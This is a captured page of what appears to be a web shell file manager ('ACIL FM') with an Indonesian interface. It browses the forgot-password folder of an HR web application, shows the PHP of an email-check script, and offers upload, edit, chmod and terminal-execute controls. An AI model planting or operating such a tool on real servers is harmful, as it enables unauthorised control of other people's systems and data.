ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR/php/forgot
/
home
mhhtmff
app
NH-HR
php
forgot
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
change_forgot_password.php
357 B
chmod
View
DL
Edit
Rename
Delete
check_email.php
509 B
chmod
View
DL
Edit
Rename
Delete
check_forgot_verification_code.php
894 B
chmod
View
DL
Edit
Rename
Delete
password_reset_forgot_content.php
1.12 MB
chmod
View
DL
Edit
Rename
Delete
send_forgot_verification_code.php
1.2 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR/php/forgot/check_email.php
<?php require_once "../database.php"; if ($stmt = $con->prepare('SELECT email FROM users WHERE email = ?')) { // Bind parameters (s = string, i = int, b = blob, etc), in our case the username is a string so we use "s" $stmt->bind_param('s', $_POST['email']); $stmt->execute(); // Store the result so we can check if the account exists in the database. $stmt->store_result(); if ($stmt->num_rows > 0) { echo "ok"; } else { // Incorrect username echo "error"; } $stmt->close(); }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply